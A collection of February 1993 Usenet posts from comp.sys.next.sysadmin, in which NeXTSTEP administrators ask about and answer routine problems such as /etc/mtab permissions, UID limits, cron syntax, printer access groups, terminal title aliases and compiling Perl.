if the swapfile grows out of control, you might have a memory leak.
(Esp if people aren't loading large images or other things that you
would expect to cause a large swapfile).
The vm_stat command is very helpful to tell you free memory, and the
ps command will show you how much memory various processes are
using.
When machines fill up their root partition due to swapfile, they
do generally just panic, you're right. You could run a job in cron
that checks a df on your swapfile partition, then checks that it's
the swapfile that's causing the problem, and reboots it before it
gets to 100% and the machine more or less halts. Rebooting will
trim the swapfile back to the size set in swaptab. swaptab(5) may
have some info that helps you.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed
Message-ID: <C2oF34.I4A@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1lu710INNmjf@master.cs.rose-hulman.edu>
Date: Fri, 19 Feb 1993 03:30:25 GMT
nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) writes:
> Here at Rose-Hulman we've notice a problem that has been occuring
>while using NeXTSTEP 3.0 machines. It appears that if you are using a DOS
>floppy the permissions on /etc/mtab will occasionally get changed to 660.
>This prevents commands such as 'df' from working for general users.
>Has anyone else noticed this problem?
Yes, this is a known 'bug.' I think it happens especially when
floppies are ejected. (I'm not sure on the details of how it
happens) The fix is a cron job that resets the permissions
periodically.
Such as:
(in your /etc/crontab.local)
05,18,39,52 * * * * root /bin/chmod 644 /etc/mtab
And then send your cron daemon a SIGHUP.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: bosborne@insect.berkeley.edu
Subject: Odd internal behavior
Message-ID: <9302190335.AA16484@insect.Berkeley.EDU>
Sender: daemon@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Fri, 19 Feb 1993 03:35:03 GMT
To the Group,
I'm (still) the happy owner of a mono Station, running 3.0, perhaps
you can help me? I bought an 8/105, then added a Fujitsu 525, which is now
sd0, and the 105 internal is sd1 (formatted as 'swapdisk'). Attached to the
Fujitsu is a TEAC MT-2ST/F50 tape drive (from Relax). The tape drive is rst0,
scsi id 3, and it's terminated. If I start up and the tape drive is ON there
are no problems. But, if I boot and it's OFF I get 'label checksum error' referr
ing
to the internal 105. Then the Workspace Manager asks if I want to initialize
the internal as it's unrecognizable. This behavior is completely
reproducible! I've seen it many times. Can someone explain this to me?
Thank you for your attention to this matter,
------------------------------------------------------------------
Brian Osborne Plant Gene Expression Center
bosborne@insect.berkeley.edu Albany CA USA
"Computers are useless. They can only give you answers." Picasso
------------------------------------------------------------------
From: statman@stat.ufl.edu (charles d. kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: customizing shell files NeXT vs X11
Date: 19 Feb 1993 03:43:44 GMT
Organization: University of Florida College of Engineering
Distribution: world
Message-ID: <1m1l1gINN2t9@bigguy.eng.ufl.edu>
Keywords: bash, X11, shell
Hello,
I use bash inside Stuart on a NeXTstation running NS2.1. I have
Stuart set up to display the current directory in the title bar (cool!).
Now when I run mouseX (X11R4 from MIT) I get screwy title bars since
xterm is not Stuart. Is there a way to check something (I'm not sure
what) to know whether or not to set the title bars this way?
Any and all help is appreciated.
--
Sincerely,
charles d. kincaid
statman@stat.ufl.edu <-------- PLEASE reply to this address
------------------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
University of Florida
Newsgroups: comp.sys.next.sysadmin
From: bill@ganesha.cognet.ucla.edu (William M. Eldridge)
Subject: Re: Next NFS server upgrade
Message-ID: <1993Feb19.031342.16288@cognet.ucla.edu>
Sender: news@cognet.ucla.edu
Organization: UCLA Cognitive Science Research Program
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> -> > >My question is, with such a configuration, is upgrading to a Turbo
> -> > >likely to help? It's quite possible that the machine is
disk-bound,
> -> > >in which case increasing the CPU speed won't significantly help.
> -> >
> -> > You'd likely be better off, for performance and function, to buy a
Sun
> -> > or some other box for your NFS server if you are really server
> -> > performance-bound. If you've got a large, heavy NFS load, having
> -> > multiple SCSI buses available will reduce I/O contention on the bus
> -> > between multiple drives, as will support for synchronous SCSI
> -> > transfers so that each transfer uses the bus for less time. You
get
> -> > neither of these on a NeXT right now.
> -> >
> ->
Currently we're having trouble using the File Manager on a Solaris 2.1
exported disk, so if you're looking for immediate results, this one isn't
happening.
--
Bill Eldridge bill@cognet.ucla.edu
*** He who remembers the past is condemned to misread it. ***
- George Santana
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netgroups
Date: 18 Feb 1993 16:35:36 GMT
Organization: University of Houston
Message-ID: <1m0dsoINNr6r@menudo.uh.edu>
References: <1993Feb17.220123.973@afs.com>
In article <1993Feb17.220123.973@afs.com> Michael_Pizolato@afs.com (Michael
Pizolato) writes:
#Where are netgroups stored in the netinfo database? I used
#HostManager to place a number of our machines in a netgroup, and the
#definitions appeared in the "machines" directory entries for the
#individual machines. Then, I set root access in NFSManager on one of
#the machines to the netgroup instead of a list of the individual
#machines (the docs say you can do this). When I tried to save the new
#export definition I got a warning that the netgroup name was an
#unrecognized _host_ name. The only reference I could find for
#creating netgroups in netinfo was to add them to individual machines
#in HostManager. There doesn't appear to be anything about creating
#the netgroup itself in a separate operation.
#
Well, first off, you can not use netgroups for root access in exports, ie.,
/General acess=group1:group2:group3,root=host1:host2:host3
(you can not have netgroups in the root access)
Secondly, netgroup information is stored under each host in the /machines
directory of each domain. If you have a multilevel NetInfo structure, you
will need to define netgroups for each host in each level of the domain.
The easiest way is to define hosts in one level, and using NetInfoManager,
copy the hosts to each domain you want them known in...
For example, my machine has the following entry (I used the program nilist
to generate this dump of NetInfo):
thanatos {
ip_address 129.7.4.68;
name thanatos.egr.uh.edu;
netgroups ee.client uh.client egr.client ecc.client;
owner "College of Engineering";
system_type NeXTstation;
}
As you can see, my machine is a member of various netgroups.
#--
#Michael_Pizolato@afs.com
#~18 kyu
#Q16
#NeXTMail appreciated
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Engineering Computing Center * comments, complaints, questions)
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>>> SSI Diving Certification #755020059 <<<
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From: jeffo@uiuc.edu (J.B. Nicholson-Owens)
Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed
Date: Fri, 19 Feb 1993 06:05:43 GMT
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David Lemson writes
> Yes, this is a known 'bug.' I think it happens especially when
> floppies are ejected. (I'm not sure on the details of how it
> happens)
It's been my experience that whatever your permissions are in
Preferences.app, those permissions are what /etc/mtab takes when you eject
floppies (perhaps unmounting any filesystem will do this?).
> And then send your cron daemon a SIGHUP.
Hmmm..that's strange how I've never had to do that with my cron. I just set
up the crontab file then wait for the time specified to roll around then
whatever I've programmed happens. No big deal though.
--
-- Jeff (jeffo@uiuc.edu)
-- NeXTmail welcome
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From: dkinsey@next3.corp.mot.com (Dave Kinsey)
Subject: Re: problem with uids
Organization: MOTOROLA
Date: Thu, 18 Feb 1993 20:55:36 GMT
Message-ID: <1993Feb18.205536.13281@schbbs.mot.com>
References: <1993Feb18.163828.10408@zip.eecs.umich.edu>
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In article <1993Feb18.163828.10408@zip.eecs.umich.edu>
blommer@hertz.eecs.umich.edu (Michael Alan Blommer) writes:
> I've experienced the following problem when adding a new user to our
network:
>
> When the uid is larger than about 32000, all of the files and
directories that
> should be owned by the user show up as being owned by a NEGATIVE uid.
For
> example, if I create
>
> Username: temp
> User ID: 34170
>
> the home directory for temp shows that it is owned by -31366, not temp
or
> 34170. However, if I change the uid to 3417, everything is fine.
>
> Has anyone experienced this? Is there a fix? I haven't seen any
documentation
> on this.
>
> Thanks,
> Mike
UIDs are defined as signed-2-byte numbers in UNIX. That means the range of
possible UIDs are -32768 to 32767 (or if you prefer binary: 1000 0000 0000
0001 (negative 32768) to 0111 1111 1111 1111 (positive 32767)). You
entered in a number that was out of the range which is an error condition
so you can expect strange results. Of course, a good (robust) tool would
catch the error and not let you enter it, but...
- Dave
/----------------------------------------------\
| David R Kinsey |
| NeXT System Administrator |
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| |
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From: dkinsey@next3.corp.mot.com (Dave Kinsey)
Subject: Re: How to get Login Window to "bounce"
Organization: MOTOROLA
Date: Thu, 18 Feb 1993 21:04:24 GMT
Message-ID: <1993Feb18.210424.13384@schbbs.mot.com>
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In article <1loqfdINN646@iskut.ucs.ubc.ca> oly@emerson.physics.ubc.ca
writes:
> Hi All,
> How do I get the login panel to bounce around?
> ________________________________________________________
> B.Olav Anderson
> CyberSurfer
> NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca
>
> "The Years Teach Much What The Days Never Know"
> R.W.Emerson
>
> "The Essence of Being is Becoming"
> Heraclitus
>
> "How can a man be weak who dares to be at all?"
> H.D.Thoreau
Set the following default for root on your machine.
# dwrite loginwindow MoveWhenIdle YES
- Dave Kinsey
/----------------------------------------------\
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| NeXT System Administrator |
| DSS: Distributed Systems Services |
| |
| Motorola Corporate MIS & Telecommunications |
| 1299 E Algonquin Rd. |
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| |
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From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: problem with uids
Date: 18 Feb 1993 21:52:22 GMT
Organization: University of Houston
Message-ID: <1m10emINNt1b@menudo.uh.edu>
References: <1993Feb18.163828.10408@zip.eecs.umich.edu>
In article <1993Feb18.163828.10408@zip.eecs.umich.edu>
blommer@hertz.eecs.umich.edu (Michael Alan Blommer) writes:
#I've experienced the following problem when adding a new user to our
network:
#
#When the uid is larger than about 32000, all of the files and directories
that
#should be owned by the user show up as being owned by a NEGATIVE uid. For
#example, if I create
#
#Username: temp
#User ID: 34170
#
#the home directory for temp shows that it is owned by -31366, not temp or
#34170. However, if I change the uid to 3417, everything is fine.
#
#
#Thanks,
#Mike
No there is not an easy fix for this. This is a problem with many different
versions of unix. One way to get around this is to use AFS and its method
of dealing with userspace...
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
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From: gordie@cyclesoft.com (Gordie Freedman)
Subject: Re: customizing shell files NeXT vs X11
Message-ID: <1993Feb19.103018.243@netcom.com>
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Organization: Cyclesoft Media Works
References: <1m1l1gINN2t9@bigguy.eng.ufl.edu>
Date: Fri, 19 Feb 1993 10:30:18 GMT
In article <1m1l1gINN2t9@bigguy.eng.ufl.edu> statman@stat.ufl.edu (charles d.
kincaid) writes:
>
> Hello,
> I use bash inside Stuart on a NeXTstation running NS2.1. I have
> Stuart set up to display the current directory in the title bar (cool!).
> Now when I run mouseX (X11R4 from MIT) I get screwy title bars since
> xterm is not Stuart. Is there a way to check something (I'm not sure
> what) to know whether or not to set the title bars this way?
>
> charles d. kincaid
> statman@stat.ufl.edu <-------- PLEASE reply to this address
Here's a section of my .cshrc that can handle Stuart, Xterm, or none of the
above. If it doesn't work or is unclear I can explain, but I think it's fairly
self explanatory. I expect this maps somehow to bash, zsh (works in tcsh and
csh on Sparc and NeXT). Make sure to read the comments about ^[ and ^G (in both
places ...)
---------------------------snippet from .cshrc----------------------
#
# Set up aliases for xtitle, stitle, ititle, shtitle
#
# Note that the ^[ is esc, and the ^G is ctl-g
# You can't cut and paste this into your .cshrc because the ^[ and ^G
# will be taken literally as two characters each. To do it, edit in
# vi and use "ctl-v esc", and "ctl-v ctl-g" (in emacs replace the
# ctl-v with ctl-q)
alias xtitle 'echo -n "^[]\!:1;\!:2*^G"'
alias ititle 'xtitle 1 \!*'
alias stitle 'xtitle 2 \!*'
alias shtitle 'stitle "${USER}@`hostname` \($cwd\)"; ititle
"${USER}@`hostname`"
'
if ($?TERM) then
if ($?STUART) then
alias prompt 'set prompt="(`hostname`) - \\!: ";'
# see previous note about ^[ and ^G
alias stitle 'echo -n "^[]3;$cwd^G"'
alias pwd 'pwd; stitle'
alias cd 'chdir \!*; stitle'
alias od 'popd \!*; stitle ;'
alias pd 'pushd \!*; stitle ;'
else
if ($TERM != xterm) then
alias prompt 'set prompt="($cwd) - \\!): ";'
alias cd 'chdir \!*; prompt ;'
alias od 'popd \!*; prompt ;'
alias pd 'pushd \!*; prompt ;'
else
alias prompt 'set prompt="(`hostname` - \\!): ";'
alias cd 'chdir \!*; stitle "${USER}@`hostname` \($cwd\)"'
alias od 'popd \!*; stitle "${USER}@`hostname` \($cwd\)"'
alias pd 'pushd \!*; stitle "${USER}@`hostname` \($cwd\)"'
alias pwd 'pwd; stitle "${USER}@`hostname` \($cwd\)"'
alias su 'su \!*; shtitle'
endif
endif
prompt
else
alias prompt 'echo "Unknown terminal type $TERM"'
endif
--
>>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
>>> Thou shalt not inline functions more complicated than 20
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From: bill@leeweyr.sccsi.com (Bill Lee)
Subject: Re: crontab and cron problems?
Message-ID: <1993Feb19.032458.338@leeweyr.sccsi.com>
Keywords: crontab cron
Organization: Lee Aerie
References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> <1993Feb18.143735.5628@news.cs.indiana.edu>
Date: Fri, 19 Feb 1993 03:24:58 GMT
In article <1993Feb18.143735.5628@news.cs.indiana.edu> "Steve Hayman" <sahayman@cs.indiana.edu> writes:
>
>A couple of possibilities why crontab jobs aren't executing...
>
>PATH problems. Jobs executed from /etc/crontab have their $PATH
>set to /bin:/usr/bin - so if you don't you use a full pathname in
>the crontab, or you don't reset the pathname in a shell script,
>your program won't see things in /usr/ucb, /usr/local/bin, or other
>various places that will work when you run from the command line.
>
>I'd use a full pathname in the crontab, like this
>
> 00 * * * * root /usr/ucb/foobar
>
>and if I was trying to execute a /bin/sh script from within cron, I would
>make sure that the script contained a line like this
>
> PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin export PATH
>
>Syntax problems. Cron is very picky about the format of the command line
>in /etc/crontab, and will silently not do anything if it sees a line
>it doesn't like. Many times I've done something like this
>
> 00,15,30,45 * * * root /usr/local/bin/do-something
>
>and scratched my head as to why nothing was happening. The answer in
>this case is that there aren't enough fields. What I meant to type was ...
>
> 00,15,30,45 * * * * root /usr/local/bin/do-something
>
>Hope this helps,
>Steve
>uunet.ca!objectar!shayman
Another one of the little "gotchas": Make sure there are no, repeat: NO
trailing blanks at the end of the lines.
Regards,
Bill Lee
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw)
Newsgroups: comp.sys.next.sysadmin
Subject: Garbled Mail
Message-ID: <17800@hq.hq.af.mil>
Date: 19 Feb 93 14:04:33 GMT
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Lately I some of my mail has included garbled NeXT attachments. I tried
the suggestion in NeXT answers:
>Q: How do I reconstruct an attachment that has been forwarded to me from
>the Mailer Daemon or a Non-NeXT mailer?
>
>A: You can do this if you are running NeXT Mail on a cube.
>
>Copy the Next-Attachment lines and the body of the encoded test (from the
>begin line through the end line) and paste it into a new file.
>
>From a Shell, run
> /usr/lib/sendmail name < file
>
>This will resend it to yourself (or whomever) with the attachment
>properly recognized.
This did not fix the problem, but then again, I'm using a NeXTstation
versus a Cube. Any other suggestions? BTW, I'm running 3.0. Thanks in
advance!
--
-- Michelle A. Bradshaw HQ USAF LAN Configuration Management
-- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060
-- Anybody who has an identity problem had better wise up and get
-- with the program! Jack Handey
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: How to limit printer access
Keywords: printer
Message-ID: <4261@blue.cis.pitt.edu>
Date: 19 Feb 93 15:28:29 GMT
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Under NextOS 2.1 I would like to be able to limit access to the printer to
certain users. How can I do this?
Robert C Cyphers
Dept of Mathematics and Statistics
University of Pittsburgh
rcc@next1.math.pitt.edu
--
Although robust enough for general use, adventures into the
esoteric periphery of the C shell may reveal unexpected
quirks.
Sun Release 4.1 Last change: 2 October 1989
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From: jonv@ptnext.claremont.edu (Jon Vestal)
Subject: Help Compiling Perl
Message-ID: <1993Feb19.165956.14194@muddcs.claremont.edu>
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Organization: Harvey Mudd College, Claremont, CA 91711
Date: Fri, 19 Feb 1993 16:59:56 GMT
Hi,
Can someone help me compile perl on a NeXT running NS 3.0. Everything
seems to work except for the getgrgid. I've tryed compiling several ways
using the builtin perl setgid and the C setgid. I thinks it is probably a
problem with the type of int returned by getuid and getgid. Any help
would be appreciated.
Jon Vestal
Systems Technician
Pitzer College
jonv@ptnext.claremont.edu
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From: matt%mattcube@concert.net (Matthew M. Stecker)
Subject: Thanks for your help.
Message-ID: <1993Feb19.182739.1282@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Fri, 19 Feb 1993 18:27:39 GMT
Thanks to the person who told me how to get my system to read mac disks again.
The answer was to rename /usr/filesystems/mac.fs.SAVE to mac.fs.
Executor kills the mac filesystem stuff.
I understand why it does this, but this is a feature that lurks dangerously
close to being a bug.
______
The second thing that I had to figure out myself was this:
If you build a 3.0 OD with BuildDisk, even though BuildDisk thinks it knows
about OD's, it sets up your /etc/fstab to look for /dev/sd0a as the root
partition. Just changed it to /dev/odoa and it worked.
Kind of eerie running 3.0 off of the optical only. Hey, everything's moving in
slow motion . . .
Matthew Stecker
UNC School of Law
--
matt stecker | This is my NeXT Computer
NeXT Campus Consultant, | There are many like it,
UNC School of Law | but this one is mine.
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,de.comp.sys.next
Subject: talk, rwho, printer questions
Date: 19 Feb 1993 19:00:38 GMT
Organization: Technical University of Berlin, Germany
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Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: talk, setuid, printer, pagecount
Hello admins
I've got a few questions
1 - how do you know how many copies your NeXT laser printer printed?
when is the toner gone?
the good old 'pagecount' PS variable doesn't work. this is always
NIL. Any hint?
2- 'rusers' is a sytemV routine. rwho is bsd.
Why doesn't NeXT, right out of the box, support rwho? :
sfr@dasburo 73 (~) > rwho
/usr/spool/rwho: No such file or directory
3- why is it impossible to 'talk'?
how do I set up talk (hostname in /etc/hosts, setuid for ../Terminal)
what else?
thanx in advance
Stephan
--
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From: matt%mattcube@concert.net (Matthew M. Stecker)
Subject: CD Audio autoplay?
Message-ID: <1993Feb19.191712.1453@mattcube>
Sender: matt@mattcube
Organization: UNC School of Law, CC for NeXT Computer, Inc.
Date: Fri, 19 Feb 1993 19:17:12 GMT
Hello,
I remember discussion here about what to do to allow a NeXT CD Rom
drive to autostart the CDPlayer application when an audio disc is inserted.
Can someone summarize and email me?
Right now, I can only play CD audio discs if I start the application by
hand.
Thanks!!
Matthew M. Stecker
UNC School of Law.
--
matt stecker | This is my NeXT Computer
NeXT Campus Consultant, | There are many like it,
UNC School of Law | but this one is mine.
From: carlos@american.edu (Carlos Li)
Newsgroups: comp.sys.next.sysadmin
Subject: mount: / not found
Date: 19 Feb 1993 19:38:22 GMT
Organization: The American University Computing Center
Message-ID: <1m3cveINN9bb@au-ns.american.edu>
We are having problems rebooting our NeXTstation with a 105MB disk drive.
We get the messages:
mount: / not found
Faking root mount entries
..
Then, it stops in the middle of coming up in multi-user mode. When I try
booting to single user, the /dev/sd0a seems to get mounted as read-only,
so I cannot modify anything, like in /etc/fstab.
I've tried booting up from a floppy and then mounting the hard disk. It
lets me do it, and I can change the fstab file, but when I reboot again,
it goes back to what it was before.
We had a power outage the night before this happened.
There is an extraneous line in the fstab file saying that it is trying to
mount / from Net (or something like), which is what I'm trying to get rid
of.
I hope I made some sense here.
Any help is welcome.
--Carlos.
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to limit printer access
Date: 19 Feb 1993 21:53:38 GMT
Organization: Computer Science Department at Rose-Hulman
Message-ID: <1m3kt2INN9q3@master.cs.rose-hulman.edu>
References: <4261@blue.cis.pitt.edu>
In article <4261@blue.cis.pitt.edu> rcc@next1.math.pitt.edu (robert
cyphers) writes:
> Under NextOS 2.1 I would like to be able to limit access to the printer
to
> certain users. How can I do this?
>
> Robert C Cyphers
> Dept of Mathematics and Statistics
> University of Pittsburgh
> rcc@next1.math.pitt.edu
>
> --
>
> Although robust enough for general use, adventures into the
> esoteric periphery of the C shell may reveal unexpected
> quirks.
>
> Sun Release 4.1 Last change: 2 October 1989
Put the entry rg=groupname in the printcap file for the printer, where
groupname is a the name of a netinfo group. This is one way anyway. There
may be others.
% nidump printcap .
Local_Printer: \
:lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \
:if=/usr/lib/NextPrinter/Server/prserver: \
:cf=/usr/lib/NextPrinter/Server/pscf: \
:df=/usr/lib/NextPrinter/Server/psdf: \
:gf=/usr/lib/NextPrinter/Server/psgf: \
:nf=/usr/lib/NextPrinter/Server/psnf: \
:rf=/usr/lib/NextPrinter/Server/psrf: \
:tf=/usr/lib/NextPrinter/Server/pstf: \
:vf=/usr/lib/NextPrinter/Server/psvf:ty=NeXT Color Printer: \
:note=Image Processing Color 1:nxformat=3.0: \
:sd=/usr/spool/NeXT/Local_Printer:sharedAs=B101_3_2:sharedTo=/: \
:af=/usr/adm/Local_Printer.acct:_writers=*: \
:rg=B101-3-2:
##rg entry ##^^^^^^^#########
% nidump group /
uucp:*:4:
kmem:*:5:root
B101-3-2:*:1000:yoder,nelson,zhal,behnkedj,bohlkejh
tty:*:8:
--
-Randy Nelson
Workstation Support Manager
Rose-Hulman Institute of Technology
Email: Randy.Nelson@Rose-Hulman.Edu
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From: fletcher@iastate.edu (Mike Fletcher)
Subject: Extended diagnostics
Message-ID: <C2pv06.Kn8@news.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
Date: Fri, 19 Feb 1993 22:12:00 GMT
Does anyone know where I can get the hardware diagnostics
for a 25MHZ momo NeXTstation?
I am trying to track down an Exception #3 error that
occurs when booting. Nobody that I ask seems to be able to
tell me exactly what that message means.
Thanks in advance
-Mike
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From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin)
Subject: damaged internal drive
Message-ID: <1993Feb20.010722.8386@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Sat, 20 Feb 1993 01:07:22 GMT
I'm running my OS from an external drive, and when I bring the machine up
I get a message saying that the internal (105M) drive is damaged.
Repairing or reinitializing doesn't make any difference: next time I
reboot the machine, I encounter this message. However, if I leave it up
and repaired, it seems to function without problems.
Is there a more effective "fix" on the drive, so that I can use it without
encountering the message each time.
If not, is there a way I can avoid having the machine attempt to mount the
drive every time I boot.
Can I cut down on noise and power consumption by disconnecting it
completely?
John Price-Wilkin
jpw@virginia.edu
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From: rich@pencil.cs.missouri.edu (Rich Winkel)
Subject: How to suppress console logins?
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Date: 20 Feb 93 01:47:53 GMT
The existence of /etc/nologin suffices to keep out telnet logins, but
it has no effect on console logins. What to do?
Rich
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From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: Extended diagnostics
Message-ID: <1993Feb20.060417.2815@cs.yale.edu>
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Date: Sat, 20 Feb 1993 06:04:17 GMT
In article <C2pv06.Kn8@news.iastate.edu> fletcher@iastate.edu (Mike
Fletcher) writes:
> Does anyone know where I can get the hardware diagnostics
> for a 25MHZ momo NeXTstation?
>
> I am trying to track down an Exception #3 error that
> occurs when booting. Nobody that I ask seems to be able to
> tell me exactly what that message means.
Wouldn't it be great if NeXT made this software available
for purchase? We'd pay some reasonable amount for such
software, perhaps with an indexed DL directory of help
files. I'll bet lots of sites with multiple NeXT machines
would consider such an investment. At, say $99 a pop, NeXT
could make a few bucks while demonstrating support for
owners of NeXT machines.
--
Nathan Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
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From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: Thanks for your help.
Message-ID: <1993Feb20.060857.2969@cs.yale.edu>
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References: <1993Feb19.182739.1282@mattcube>
Date: Sat, 20 Feb 1993 06:08:57 GMT
In article <1993Feb19.182739.1282@mattcube> matt%mattcube@concert.net
(Matthew M. Stecker) writes:
> If you build a 3.0 OD with BuildDisk, even though BuildDisk thinks it
knows
> about OD's, it sets up your /etc/fstab to look for /dev/sd0a as the root
> partition. Just changed it to /dev/odoa and it worked.
Oh no! Someone submit this bug for fixing in 3.1!
Is NeXT still accepting bug reports for fixing in 3.1?
--
Nathan Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: crontab and cron problems?
Message-ID: <1993Feb19.153745.7975@Happy-Man.com>
Keywords: crontab cron
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU>
Date: Fri, 19 Feb 1993 15:37:45 GMT
In <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer) writes:
>i can run them myself from the command line so they are
>not erroring out. i cannot find any messages to why they
>are not run.
Cron doesn't see your environment and perhaps those commands are
dependent on something in it. Or perhaps they need to be fooled
into thinking they're running from a terminal. It varies.
Let me take the opportunity to plug Paul Vixie's cron replacement,
which I uploaded a long time ago to the archive at Purdue as
"1992/07/24 87,813 submissions/cron-vixie-2.1-next.tar.Z";
It doesn't solve these problems, but has many other benefits and
does make it easier for you to find out what's wrong and to fix
it in these cases.
Regards,
- Irving
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From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Appletalk printer support, and Appletalk printer types
Message-ID: <!h=4qr_@rpi.edu>
Date: Sat, 20 Feb 1993 08:01:42 GMT
I have some printers that I'd like to print to using the Appletalk support
in NeXTSTEP 3.0.
Some of those printers are setup as Appletalk printer type "LaserWriter",
which is the standard name for printers (if they are going to show up under
LaserWriter in the Mac Chooser, at least). Some of our other printers do
not have a type of "LaserWriter". On the Mac this means you would need a
different chooser extention to print to them.
Is there any way to have the NeXT get at such printers? It would be nice if
it were possible to do thru PrintManager.app, but at the moment I'd settle
for a way to do it by adding the Netinfo entry for the printer by hand.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: dillon@overload.Berkeley.CA.US (Matthew Dillon)
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Subject: Re: CSLIP vs. SLIP....
Distribution: world
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Date: 17 Feb 93 15:02:49 PST
Organization: Not an Organization
In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes:
>
>Is there really a difference between CSLIP and SLIP in terms of
>speed. I can get Marble's product with CSLIP for $125 but on the
>other hand I can pay nothing and get SLIP for free over the internet.
>Please email opinions.
>CW
The only real difference is with small packets --- i.e., typing. If
you are satisfied with the echo-response of your typing over SLIP then
you do not really need CSLIP.
-Matt
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From: cew6@po.CWRU.Edu (Carlin E. Wiegner)
Newsgroups: comp.sys.next.sysadmin
Subject: couple little provblems....
Date: 20 Feb 1993 15:21:33 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <1m5i9tINNjag@usenet.INS.CWRU.Edu>
I've noticed that the mail icon in the dock keeps popping up
with new mail ieven wen (supposed to be "even when") there isn't
any. Especially when I just log in. It is always up even when
there is no mail in the box, not even old mail. thanks....
CW
From: basiji@stein.u.washington.edu (David Basiji)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS exporting external disk problems
Message-ID: <1m6o59INN76n@shelley.u.washington.edu>
Date: 21 Feb 93 02:07:37 GMT
Article-I.D.: shelley.1m6o59INN76n
Organization: University of Washington
Greetings. We have a simple Netinfo network (is netinfo ever simple?)
and we want to NFS export an external drive on one of the servers.
We've entered it into the database via NSF manager along with two directories
from the server's internal drive. At first, everything was fine. Then,
we chown'd and chmod'ed some file on the external drive and now it won't
export. Funny thing is, if I manually "exportfs -a", all is well.
We've tried everything, including editing of the Netinfo database to delete
and recreate the server's "exports" directory entry for this drive but
still no go.
Any suggestions?
Thanks,
David Basiji
UW Bioengineering
From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: Help Compiling Perl
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc
Date: 20 Feb 1993 19:52:17 -0000
Organization: me organized? That's a joke!
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References: <1993Feb19.165956.14194@muddcs.claremont.edu>
Jon Vestal (jonv@ptnext.claremont.edu) wrote:
: Hi,
: Can someone help me compile perl on a NeXT running NS 3.0. Everything
: seems to work except for the getgrgid. I've tryed compiling several ways
: using the builtin perl setgid and the C setgid. I thinks it is probably a
: problem with the type of int returned by getuid and getgid. Any help
: would be appreciated.
: Jon Vestal
: Systems Technician
: Pitzer College
: jonv@ptnext.claremont.edu
Everybody, this is the 3rd time I have had to answer this question in as many
weeks. Nathan, how about an FAQ on this.
To compile perl patchlevel 35 under NS3.0 some modifications to the Configure
script are necessary.
This is because Configure checks for the existance of certain include files and these determine which perl routines will actually be compiled into the binary via #ifdefs.
Note: "make test" only detects that the getuid routines are there while infact the passwd routines are also not compiled.
To successfully compile perl properly apply these changes to the Configure script.
Look for the line
if $test -r $usrinclude/pwd.h ; then
change it to
if $test -r $usrinclude/bsd/pwd.h ; then
AND
if $test -r $usrinclude/grp.h ; then
change it to
if $test -r $usrinclude/bsd/grp.h ; then
Good luck.
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From: cedman@princeton.edu (Carl Edman)
